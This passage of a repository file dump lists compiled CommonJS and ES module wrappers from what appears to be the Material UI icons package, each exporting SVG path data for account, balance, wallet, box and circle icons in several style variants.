    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11.5v4c0 .83.67 1.5 1.5 1.5S7 16.33 7 15.5v-4c0-.83-.67-1.5-1.5-1.5S4 10.67 4 11.5m6 0v4c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5M3.5 22h16c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-16c-.83 0-1.5.67-1.5 1.5S2.67 22 3.5 22M16 11.5v4c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5M10.57 1.49l-7.9 4.16c-.41.21-.67.64-.67 1.1C2 7.44 2.56 8 3.25 8h16.51C20.44 8 21 7.44 21 6.75c0-.46-.26-.89-.67-1.1l-7.9-4.16c-.58-.31-1.28-.31-1.86 0\"\n}), 'AccountBalanceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10v7h3v-7zm6 0v7h3v-7zM2 22h19v-3H2zm14-12v7h3v-7zm-4.5-9L2 6v2h19V6z\"\n}), 'AccountBalanceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10v7h3v-7zm6 0v7h3v-7zM2 22h19v-3H2zm14-12v7h3v-7zm-4.5-9L2 6v2h19V6z\"\n}), 'AccountBalanceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.29 6 5.21-2.74L16.71 6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 10h-2v7h2zm6 0h-2v7h2zm8.5 9H2v2h19zm-2.5-9h-2v7h2zm-7-9L2 6v2h19V6zM6.29 6l5.21-2.74L16.71 6z\"\n}, \"1\")], 'AccountBalanceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.29 6 5.21-2.74L16.71 6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 10h-2v7h2zm6 0h-2v7h2zm8.5 9H2v2h19zm-2.5-9h-2v7h2zm-7-9L2 6v2h19V6zM6.29 6l5.21-2.74L16.71 6z\"\n}, \"1\")], 'AccountBalanceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWallet.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 18v1c0 1.1-.9 2-2 2H5c-1.11 0-2-.9-2-2V5c0-1.1.89-2 2-2h14c1.1 0 2 .9 2 2v1h-9c-1.11 0-2 .9-2 2v8c0 1.1.89 2 2 2zm-9-2h10V8H12zm4-2.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'AccountBalanceWallet');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWallet.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 18v1c0 1.1-.9 2-2 2H5c-1.11 0-2-.9-2-2V5c0-1.1.89-2 2-2h14c1.1 0 2 .9 2 2v1h-9c-1.11 0-2 .9-2 2v8c0 1.1.89 2 2 2zm-9-2h10V8H12zm4-2.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'AccountBalanceWallet');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWalletOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7.28V5c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-2.28c.59-.35 1-.98 1-1.72V9c0-.74-.41-1.37-1-1.72M20 9v6h-7V9zM5 19V5h14v2h-6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h6v2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"1\")], 'AccountBalanceWalletOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWalletOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7.28V5c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-2.28c.59-.35 1-.98 1-1.72V9c0-.74-.41-1.37-1-1.72M20 9v6h-7V9zM5 19V5h14v2h-6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h6v2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"1\")], 'AccountBalanceWalletOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWalletRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16V8c0-1.1.89-2 2-2h9V5c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-1h-9c-1.11 0-2-.9-2-2m3-8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h9V8zm3 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'AccountBalanceWalletRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWalletRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16V8c0-1.1.89-2 2-2h9V5c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-1h-9c-1.11 0-2-.9-2-2m3-8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h9V8zm3 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'AccountBalanceWalletRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWalletSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 18v3H3V3h18v3H10v12zm-9-2h10V8H12zm4-2.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'AccountBalanceWalletSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWalletSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 18v3H3V3h18v3H10v12zm-9-2h10V8H12zm4-2.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'AccountBalanceWalletSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWalletTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 17c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6V5H5v14h14v-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7.28V5c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-2.28c.59-.35 1-.98 1-1.72V9c0-.74-.41-1.38-1-1.72M20 9v6h-7V9zM5 19V5h14v2h-6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h6v2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\")], 'AccountBalanceWalletTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceWalletTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 17c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6V5H5v14h14v-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7.28V5c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-2.28c.59-.35 1-.98 1-1.72V9c0-.74-.41-1.38-1-1.72M20 9v6h-7V9zM5 19V5h14v2h-6c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h6v2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\")], 'AccountBalanceWalletTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 3c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m7 13H5v-.23c0-.62.28-1.2.76-1.58C7.47 15.82 9.64 15 12 15s4.53.82 6.24 2.19c.48.38.76.97.76 1.58z\"\n}), 'AccountBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 3c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m7 13H5v-.23c0-.62.28-1.2.76-1.58C7.47 15.82 9.64 15 12 15s4.53.82 6.24 2.19c.48.38.76.97.76 1.58z\"\n}), 'AccountBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBoxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 16H7v-.24C8.42 17.62 10.16 17 12 17s3.58.62 5 1.76zm2-1.14C17.2 16.09 14.73 15 12 15s-5.2 1.09-7 2.86V5h14zM12 13c1.93 0 3.5-1.57 3.5-3.5S13.93 6 12 6 8.5 7.57 8.5 9.5 10.07 13 12 13m0-5c.83 0 1.5.67 1.5 1.5S12.83 11 12 11s-1.5-.67-1.5-1.5S11.17 8 12 8\"\n}), 'AccountBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBoxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 16H7v-.24C8.42 17.62 10.16 17 12 17s3.58.62 5 1.76zm2-1.14C17.2 16.09 14.73 15 12 15s-5.2 1.09-7 2.86V5h14zM12 13c1.93 0 3.5-1.57 3.5-3.5S13.93 6 12 6 8.5 7.57 8.5 9.5 10.07 13 12 13m0-5c.83 0 1.5.67 1.5 1.5S12.83 11 12 11s-1.5-.67-1.5-1.5S11.17 8 12 8\"\n}), 'AccountBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBoxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 3c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m7 13H5v-.23c0-.62.28-1.2.76-1.58C7.47 15.82 9.64 15 12 15s4.53.82 6.24 2.19c.48.38.76.97.76 1.58z\"\n}), 'AccountBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBoxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 3c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m7 13H5v-.23c0-.62.28-1.2.76-1.58C7.47 15.82 9.64 15 12 15s4.53.82 6.24 2.19c.48.38.76.97.76 1.58z\"\n}), 'AccountBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBoxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-9 3c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m7 13H5v-.23c0-.62.28-1.2.76-1.58C7.47 15.82 9.64 15 12 15s4.53.82 6.24 2.19c.48.38.76.97.76 1.58z\"\n}), 'AccountBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBoxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-9 3c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m7 13H5v-.23c0-.62.28-1.2.76-1.58C7.47 15.82 9.64 15 12 15s4.53.82 6.24 2.19c.48.38.76.97.76 1.58z\"\n}), 'AccountBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBoxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17.86C6.8 16.09 9.27 15 12 15s5.2 1.09 7 2.86V5H5zM12 6c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 16H7v-.24C8.42 17.62 10.16 17 12 17s3.58.62 5 1.76zm2-1.14C17.2 16.09 14.73 15 12 15s-5.2 1.09-7 2.86V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c1.93 0 3.5-1.57 3.5-3.5S13.93 6 12 6 8.5 7.57 8.5 9.5 10.07 13 12 13m0-5c.83 0 1.5.67 1.5 1.5S12.83 11 12 11s-1.5-.67-1.5-1.5S11.17 8 12 8\"\n}, \"2\")], 'AccountBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBoxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17.86C6.8 16.09 9.27 15 12 15s5.2 1.09 7 2.86V5H5zM12 6c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 16H7v-.24C8.42 17.62 10.16 17 12 17s3.58.62 5 1.76zm2-1.14C17.2 16.09 14.73 15 12 15s-5.2 1.09-7 2.86V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c1.93 0 3.5-1.57 3.5-3.5S13.93 6 12 6 8.5 7.57 8.5 9.5 10.07 13 12 13m0-5c.83 0 1.5.67 1.5 1.5S12.83 11 12 11s-1.5-.67-1.5-1.5S11.17 8 12 8\"\n}, \"2\")], 'AccountBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 4c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m0 14c-2.03 0-4.43-.82-6.14-2.88C7.55 15.8 9.68 15 12 15s4.45.8 6.14 2.12C16.43 19.18 14.03 20 12 20\"\n}), 'AccountCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 4c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m0 14c-2.03 0-4.43-.82-6.14-2.88C7.55 15.8 9.68 15 12 15s4.45.8 6.14 2.12C16.43 19.18 14.03 20 12 20\"\n}), 'AccountCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7.35 18.5C8.66 17.56 10.26 17 12 17s3.34.56 4.65 1.5c-1.31.94-2.91 1.5-4.65 1.5s-3.34-.56-4.65-1.5m10.79-1.38C16.45 15.8 14.32 15 12 15s-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-4.42 3.58-8 8-8s8 3.58 8 8c0 1.95-.7 3.73-1.86 5.12\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-1.93 0-3.5 1.57-3.5 3.5S10.07 13 12 13s3.5-1.57 3.5-3.5S13.93 6 12 6m0 5c-.83 0-1.5-.67-1.5-1.5S11.17 8 12 8s1.5.67 1.5 1.5S12.83 11 12 11\"\n}, \"1\")], 'AccountCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M7.35 18.5C8.66 17.56 10.26 17 12 17s3.34.56 4.65 1.5c-1.31.94-2.91 1.5-4.65 1.5s-3.34-.56-4.65-1.5m10.79-1.38C16.45 15.8 14.32 15 12 15s-4.45.8-6.14 2.12C4.7 15.73 4 13.95 4 12c0-4.42 3.58-8 8-8s8 3.58 8 8c0 1.95-.7 3.73-1.86 5.12\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-1.93 0-3.5 1.57-3.5 3.5S10.07 13 12 13s3.5-1.57 3.5-3.5S13.93 6 12 6m0 5c-.83 0-1.5-.67-1.5-1.5S11.17 8 12 8s1.5.67 1.5 1.5S12.83 11 12 11\"\n}, \"1\")], 'AccountCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 4c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m0 14c-2.03 0-4.43-.82-6.14-2.88C7.55 15.8 9.68 15 12 15s4.45.8 6.14 2.12C16.43 19.18 14.03 20 12 20\"\n}), 'AccountCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 4c1.93 0 3.5 1.57 3.5 3.5S13.93 13 12 13s-3.5-1.57-3.5-3.5S10.07 6 12 6m0 14c-2.03 0-4.43-.82-6.14-2.88C7.55 15.8 9.68 15 12 15s4.45.8 6.14 2.12C16.43 19.18 14.03 20 12 20\"\n}), 'AccountCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountCircleSharp.js",
